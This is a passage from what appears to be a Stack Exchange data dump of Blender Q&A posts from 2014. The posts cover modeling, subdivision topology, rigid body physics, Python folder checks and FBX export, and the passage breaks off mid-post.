  <row Id="16257" PostTypeId="1" CreationDate="2014-09-28T23:19:38.033" Score="0" ViewCount="109" Body="&lt;p&gt;Is there any way to create a material that could hold two objects together? I don't want to use armature, because I am creating more of a building for a game, not a charecter with joints.I also don't want to join the objects, because I want to allow for the objects to seperate at some level of force. Is there anyone who could suggest something to me? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are my Rigid body constraint settings.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gX1vj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6238" LastEditorUserId="599" LastEditDate="2014-09-29T01:17:56.910" LastActivityDate="2014-09-29T01:17:56.910" Title="Cement material for holding objects together?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16258" PostTypeId="1" AcceptedAnswerId="16259" CreationDate="2014-09-28T23:52:24.897" Score="3" ViewCount="1807" Body="&lt;p&gt;I have made a ring in blender 2.71. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have applied a subsurface smoothing modifier, and set the shading to smooth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason I don't understand, the model is covered in wrinkles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PhEsc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go into edit mode, The subdivision surface appears to have a lot of curves. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2jrmW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is causing problems when I try and apply a shrink wrap. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i7u3w.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;I have attached the actual blender file here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/460997/Blender/PaveTest.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/460997/Blender/PaveTest.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the surface smoother, and not have all these wrinkles? &lt;/p&gt;&#xA;" OwnerUserId="1026" LastActivityDate="2014-09-29T00:18:11.513" Title="Why is this surface wrinkly?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16259" PostTypeId="2" ParentId="16258" CreationDate="2014-09-29T00:12:45.720" Score="3" Body="&lt;p&gt;Your object has very irregular topology containing &lt;em&gt;triangles&lt;/em&gt; and &lt;em&gt;ngons&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tA16p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These &lt;a href=&quot;https://blender.stackexchange.com/q/89/599&quot;&gt;should be avoided as much as possible&lt;/a&gt; when working with the subdivision surface modifier, as they will cause strange distortions like the ones you are seeing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When working with subsurf, try to make your object completely out of evenly spaced quads (faces with four vertices):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OC1aV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also try to keep the &lt;em&gt;normals&lt;/em&gt; consistently pointing outwards, otherwise you might see dark shading artifacts. You can recalculate the normals by selecting everything (&lt;kbd&gt;A&lt;/kbd&gt;) in edit mode (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;) and pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will result in a much smoother surface, which makes shrink wrap give the desired result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eAsLt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the object you are shrink-wrapping is made up of tris, so subsurf isn't advisable on it either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/31838&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-09-29T00:18:11.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16261" PostTypeId="2" ParentId="16251" CreationDate="2014-09-29T00:55:18.163" Score="17" Body="&lt;p&gt;With very large image resolutions Blender can run out of RAM. The operating system will then start using the hard disk for memory which is slow and will cause low CPU usage (swapping).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reduce memory usage for very high resolution renders:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enable &lt;strong&gt;Save Buffers&lt;/strong&gt; in the Performance panel so Blender does not keep the full render in memory during render&lt;/li&gt;&#xA;&lt;li&gt;Render from the &lt;strong&gt;command line&lt;/strong&gt; so no display buffer must be kept in memory&lt;/li&gt;&#xA;&lt;li&gt;Output to an &lt;strong&gt;OpenEXR&lt;/strong&gt; file so one tile can be written at a time&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="242" LastActivityDate="2014-09-29T00:55:18.163" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16262" PostTypeId="1" AcceptedAnswerId="16263" CreationDate="2014-09-29T01:29:35.453" Score="11" ViewCount="21441" Body="&lt;p&gt;I would like to know if it is possible to perform operations (extrude and scale mainly) to &lt;em&gt;individual&lt;/em&gt; faces as opposed to groups of faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently when I select these faces...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xhEXu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And extrude, I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3fc76.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how to get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bv8i8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the pivot point to &lt;em&gt;Individual Origins&lt;/em&gt; doesn't work either for contiguous selections of faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SQjEx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gZv3x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often need to do this kind of extrude+scale to lots of faces at a time, so it is simply not efficient (bordering on impossible) to do them one at a time as I did for the example.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2019-09-16T09:54:08.590" Title="Is it possible to perform operations individually to faces?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;transforms&gt;&lt;selection-tools&gt;&lt;topology&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16263" PostTypeId="2" ParentId="16262" CreationDate="2014-09-29T01:32:54.580" Score="9" Body="&lt;p&gt;You can press &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;&lt;em&gt;&gt; Individual faces&lt;/em&gt; to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fGDQs.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a button in the tool shelf under &lt;em&gt;Tools &gt; Mesh Tools &gt; Add&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y7An6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-29T01:32:54.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16264" PostTypeId="1" CreationDate="2014-09-29T02:10:42.893" Score="5" ViewCount="7157" Body="&lt;p&gt;I made a group of different objects with different set of modifiers for each one. I wanted to add a lattice modifiers to this group to be able shape its form... it is possible? I tried with no sucess... It seems something very useful, i'm impressed something like this isn't implemented in blender yet...&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2014-09-30T08:07:49.683" Title="It is possible to add modifiers to a group?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;objects&gt;&lt;groups&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16265" PostTypeId="2" ParentId="16262" CreationDate="2014-09-29T05:25:50.057" Score="4" Body="&lt;p&gt;you can also use the &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Duplicating/Inset&quot; rel=&quot;nofollow noreferrer&quot;&gt;Inset Faces&lt;/a&gt;&lt;/strong&gt; tool by pressing &lt;kbd&gt;I&lt;/kbd&gt; (or pressing thespace bar and typing Inset)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dSLdy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;, and selecting &lt;strong&gt;Individual faces&lt;/strong&gt; as option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bzkua.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-09-29T05:25:50.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16266" PostTypeId="1" CreationDate="2014-09-29T05:48:18.053" Score="4" ViewCount="4317" Body="&lt;p&gt;I'm following a video tutorial on sculpting and when I switch back to object mode to review my work there are weird random spikes jutting out from my mesh, as best as I can determine they arise from attempting to work around the neck area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/SN4ySOy.png&quot; alt=&quot;a help1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attempting the smooth or polish tool around the neckline causes this:&#xA;&lt;img src=&quot;https://i.imgur.com/yakRNm7.png&quot; alt=&quot;a help2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's edit mode.&#xA;&lt;img src=&quot;https://i.imgur.com/emzkzjr.png&quot; alt=&quot;a editmode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's sculpt mode:&#xA;&lt;img src=&quot;https://i.imgur.com/bn85S5E.png&quot; alt=&quot;a sculpt&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In sculpt mode the original deformations didn't appear, I only noticed when I went to object mode. Back in sculpt mode the neckline deformations occured and all attempts to smooth it out haven't fixed it.&lt;/p&gt;&#xA;" OwnerUserId="5263" LastActivityDate="2020-12-23T03:05:35.160" Title="Mesh is Weirdly Deformed in Object &amp; Sculpt Modes" Tags="&lt;objects&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16267" PostTypeId="1" AcceptedAnswerId="16268" CreationDate="2014-09-29T06:39:11.337" Score="6" ViewCount="14617" Body="&lt;p&gt;When I attempted to navigate within the 3D viewport by using the CTRL-&lt;em&gt;numpad&lt;/em&gt; options, it didn't seem to work, and I noticed a message in the communication part of the main header that gave the usual warning sign (an exclamation point within a red edged yellow triangle), followed by the text &quot;View offset is locked&quot;. The warning appeared and closed so quickly I was not able to obtain a screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what I did to cause this, and cannot find any information in the manual or other Blender documentation about this warning message. How do I unlock the &quot;viewport offset&quot;?&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-09-29T06:39:11.337" Title="I don't know how I locked &quot;view offset&quot;, but how do I unlock it?" Tags="&lt;modeling&gt;&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-09-30T00:04:39.430" ContentLicense="CC BY-SA 3.0" />
  <row Id="16268" PostTypeId="2" ParentId="16267" CreationDate="2014-09-29T06:39:11.337" Score="2" Body="&lt;p&gt;Check the &quot;view&quot; panel in the properties shelf of the 3D viewport. This error message can be caused if the user attempts to move the 3D viewport when there is an entry in the &quot;Lock to Object&quot; text box.  &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-09-29T06:39:11.337" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16269" PostTypeId="1" AcceptedAnswerId="16271" CreationDate="2014-09-29T07:23:13.957" Score="1" ViewCount="364" Body="&lt;p&gt;I'd like to create a folder on the hard-drive for the first time the selected model is exported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this, the script will fail, because the folder being created by &lt;code&gt;os.mkdir&lt;/code&gt; already exists:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;directoryPath = &quot;//_MODEL_FOLDERS_/&quot;&#xA;path = bpy.path.abspath(directoryPath)&#xA;&#xA;# fails if dir exists&#xA;os.mkdir(path + obj.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should be tested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does anyone know of a way to test if a folder already exists before trying to create it?&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1363" LastEditDate="2014-09-29T16:15:58.997" LastActivityDate="2014-09-30T00:02:40.307" Title="Is it possible to test for a previously created folder on the hard drive" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2014-09-29T21:10:46.600" ContentLicense="CC BY-SA 3.0" />
  <row Id="16270" PostTypeId="1" AcceptedAnswerId="16297" CreationDate="2014-09-29T07:23:20.567" Score="3" ViewCount="2250" Body="&lt;p&gt;The &lt;em&gt;Properties  Panel&lt;/em&gt; in a scene file has no tab for mesh when an object is linked to the scene. Can the &lt;em&gt;Shape Keys&lt;/em&gt; influenced by a driver or is there some other trick to enable shape keys in the scene file?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-09-30T05:53:20.720" Title="How can shape keys of a linked object be controlled?" Tags="&lt;animation&gt;&lt;linked-data&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16271" PostTypeId="2" ParentId="16269" CreationDate="2014-09-29T07:41:27.510" Score="4" Body="&lt;p&gt;I would suggest to use &lt;code&gt;os.path.join()&lt;/code&gt; instead of &lt;code&gt;+&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test you can use &lt;code&gt;os.path.exists(os.path.join(path, obj.name))&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6253" LastEditorUserId="12" LastEditDate="2014-09-30T00:02:40.307" LastActivityDate="2014-09-30T00:02:40.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16272" PostTypeId="1" AcceptedAnswerId="16273" CreationDate="2014-09-29T07:48:49.143" Score="4" ViewCount="11920" Body="&lt;p&gt;So, I decided that a previous project contained exactly what I needed to expedite a new project, so I appended the appropriate objects form the previous project to the new one. This was great, because I didn't have to define new materials, &amp;amp;c. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regrettably, though, I found out that when it came to vertex groups, where it would have been as helpful to be able to copy vertex groups from one object to another as it was to copy materials, I couldn't figure out how to do so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I looking for a feature which does not yet exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I did not expect the vertex groups to have assignments in the target objects, but it would have been handy not to have had to retype 25 names.   &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="2217" LastEditDate="2014-09-29T22:38:33.850" LastActivityDate="2014-09-29T22:38:33.850" Title="How do I copy vertex groups from one object to another?" Tags="&lt;objects&gt;&lt;vertex-groups&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16273" PostTypeId="2" ParentId="16272" CreationDate="2014-09-29T08:07:25.027" Score="8" Body="&lt;p&gt;Vertex groups are object data, so they will be copied by &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt; Object data&lt;/em&gt;.&#xA;However, this will &lt;em&gt;link&lt;/em&gt; all other object data as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a onetime copy of only object data, you might want to try the bundled &lt;em&gt;Copy attributes&lt;/em&gt; addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once it's enabled, call it with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; (warning, this conflicts with object copy/paste):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gh9Hf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-29T08:07:25.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16274" PostTypeId="1" AcceptedAnswerId="16296" CreationDate="2014-09-29T13:21:35.633" Score="0" ViewCount="1173" Body="&lt;p&gt;As promised post #2 for today, all about a particular piece of furniture that i am struggling with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as you can see from the following picture there is a sign in on the back wall of the club that reads &quot;Fatal Addictions&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/0fmzv3h&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/0fmzv3h.jpg&quot; title=&quot;Hosted by imgur.com&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present that is just a flat image texture on a plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am TRYING (and failing) to create is the blood spatter in 3D.  not terribly prominent, but the idea is that the blood is a molded plastic relief which is maybe 6 inches deep in the real world with a backing box behind it, which would contain a light which would illuminate the blood spatter from behind (the blood being made of a plastic or glass type material).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it to look exactly like the original logo which I made in Photoshop for the original second life version, just all swanky and 3D and pretty&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have images of all the components  (The lettering and syringe are going to be modeled separately and the whole thing put together in layers)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the .png file of the blood spatter behind it.  I am sure there must be a way to turn something 2D into something 3D in blender, but I have yet to either find a video tutorial, or stumble across how to do it myself and it is getting quite frustrating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/ptrMNRG&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/ptrMNRG.jpg&quot; title=&quot;Hosted by imgur.com&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone with ideas or offers of help please get in touch. it would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6255" LastActivityDate="2015-01-07T01:17:00.653" Title="Need advice on turning a 2D image into a 3D model" Tags="&lt;modeling&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16275" PostTypeId="1" CreationDate="2014-09-29T13:48:57.933" Score="7" ViewCount="2913" Body="&lt;p&gt;I'm writing a python script that creates a large number of objects and I'd like them all to point at a certain point in 3d space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(left is what I've got, right is what I want)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZQmAP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty much exactly like the 'Track-to' constraint, but I don't need it to update interactively or be animated, I just need to rotate each object when they are created. I also don't care about the up-direction at all, since the objects are cylindrically symmetrical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to create the objects, but I don't know how to aim them. I'm not good at maths, so I don't even know where to begin with this other than that it'll probably involve vectors and matrices (which I don't really understand).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I don't want to use the existing constraint system is because it's a bit slow when dealing with a lot of objects, and I'd like to learn a bit about this sort of maths.&lt;/p&gt;&#xA;" OwnerUserId="6254" LastActivityDate="2014-10-02T01:34:45.267" Title="Python Implementation of Track-to/aim constraint" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16279" PostTypeId="1" CreationDate="2014-09-29T18:05:50.257" Score="0" ViewCount="93" Body="&lt;p&gt;I saw an answer to this exact same problem, but it was in 2.69. I tried it in 2.71 and it doesn't work. I've tried to blend the two objects using a simple color mix box and an alpha over box and neither would work. I've seen tuts using 2.6x and 2.5 and neither of them worked although a hybrid of the two got me to this simple attempt that I think I'm close to. I would like the blue color band on the boomerang to glow using a blur node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks,&#xA;TP&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rZik3.png&quot; alt=&quot;here is the compositing screen&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6262" LastActivityDate="2014-09-29T18:05:50.257" Title="Help! can't get simple compositing of render layers to work" Tags="&lt;rendering&gt;&lt;nodes&gt;&lt;blur&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16281" PostTypeId="1" AcceptedAnswerId="16282" CreationDate="2014-09-29T18:13:09.030" Score="2" ViewCount="223" Body="&lt;p&gt;I am working on a really big project and I made an error in my mesh so I had to remove the faces and used &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; to add a new one back but it ends up like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z74Cq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can use something like &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to add a few new loops in that one face? It does not need to be aligned with the old one, I just need to add something in there.&lt;/p&gt;&#xA;" OwnerUserId="6263" LastEditorUserId="599" LastEditDate="2014-09-29T18:28:05.933" LastActivityDate="2014-09-29T18:28:05.933" Title="Re-add edge loops after using ctrl f" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16282" PostTypeId="2" ParentId="16281" CreationDate="2014-09-29T18:23:00.433" Score="2" Body="&lt;p&gt;Yes, this is possible.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the extra faces so the hole is even&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the boundary with &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt;&lt;em&gt;&gt; Grid fill&lt;/em&gt;. If it looks strange, adjust the options in the redo panel until it looks right.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g5cP8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-29T18:23:00.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16283" PostTypeId="1" CreationDate="2014-09-29T18:39:11.223" Score="0" ViewCount="157" Body="&lt;p&gt;I'm working on a project and we're making custom models to use in UT4, however when ever we export we're getting an issue with the bones. Saying there is more then one root or it will import with nothing there.   I've followed a few other tutorials and I'm not sure where we're going wrong with this.   Any help would be greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="6264" LastActivityDate="2014-10-29T21:10:55.980" Title="Having issues exporting FBX Character mesh and rigg into UT4" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-10-30T08:25:10.070" ContentLicense="CC BY-SA 3.0" />
  <row Id="16284" PostTypeId="1" CreationDate="2014-09-29T18:59:55.990" Score="1" ViewCount="81" Body="&lt;p&gt;I'm newly started with Blender, and happy with it so far. I am doing some simple animation, with a simple character flying through the air and hitting a big sphere, and what I want is for the character to disappear and a shape which looks a bit like goo to appear on the sphere where the character landed. I have been looking for a couple of hours with no luck, if someone could point me into the right direction, that would be great.&lt;/p&gt;&#xA;" OwnerUserId="6265" LastEditorUserId="3078" LastEditDate="2014-09-29T20:36:57.727" LastActivityDate="2014-09-29T21:45:47.363" Title="Problems with an animation" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16285" PostTypeId="1" AcceptedAnswerId="16292" CreationDate="2014-09-29T20:32:31.783" Score="4" ViewCount="203" Body="&lt;p&gt;Whenever I open up the user preferences tab, it always makes blender glitch, and I have to re-open blender. This might be because I have an old computer (windows vista) or it might be something else that I am not aware of. Is there any way to fix this?&lt;/p&gt;&#xA;" OwnerUserId="6238" LastActivityDate="2014-09-30T00:08:01.707" Title="User preferences lags Blender" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16286" PostTypeId="2" ParentId="16283" CreationDate="2014-09-29T20:32:53.437" Score="1" Body="&lt;p&gt;Update to the latest release candidate, as of now(2.7.2 RC), and it should work much more smoothly. There were some problems with the fbx exporter which have been fixed, such as bones, vertex groups and shape keys, I think.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-09-29T20:32:53.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16287" PostTypeId="2" ParentId="16284" CreationDate="2014-09-29T21:29:04.540" Score="1" Body="&lt;p&gt;To address the goo goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(01) Fluid Particles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Physics&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Physics&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Physics&quot; rel=&quot;nofollow&quot;&gt;Fluid Particles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(02) Some mesh animated using Wave Modifier and or Armature.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(03) Particles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(04) Fluid Simulation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most preferred listed at top.  Suit to your tastes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... Some would have dynamic 3D gravity qualities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some video sites have video instruction on these topics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You stated you are &quot;newly started&quot;.  Please assume that the above is work the first time .. but not too much work.  It might be a lot of work for some other people.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-09-29T21:45:47.363" LastActivityDate="2014-09-29T21:45:47.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16288" PostTypeId="1" CreationDate="2014-09-29T21:29:18.470" Score="1" ViewCount="81" Body="&lt;p&gt;I have a multi shot production where the main character is going to be smashing a few things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our pipeline follows the standard set-up of a linked asset (main character) into an animation/lighting/rendering file. The main character is meshes that are deformed by an armature which is grouped in the main character file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The group is then linked and proxied in the animation file. As he swings his tail around I want him to hit other objects participating in the rigid body (RB) simulation. This is where it breaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can proxy a linked object and apply RB setting to it. Unfortunately it doesn't bring the RB settings across from the source file, but that's OK, it's only a couple of clicks to set it up again. 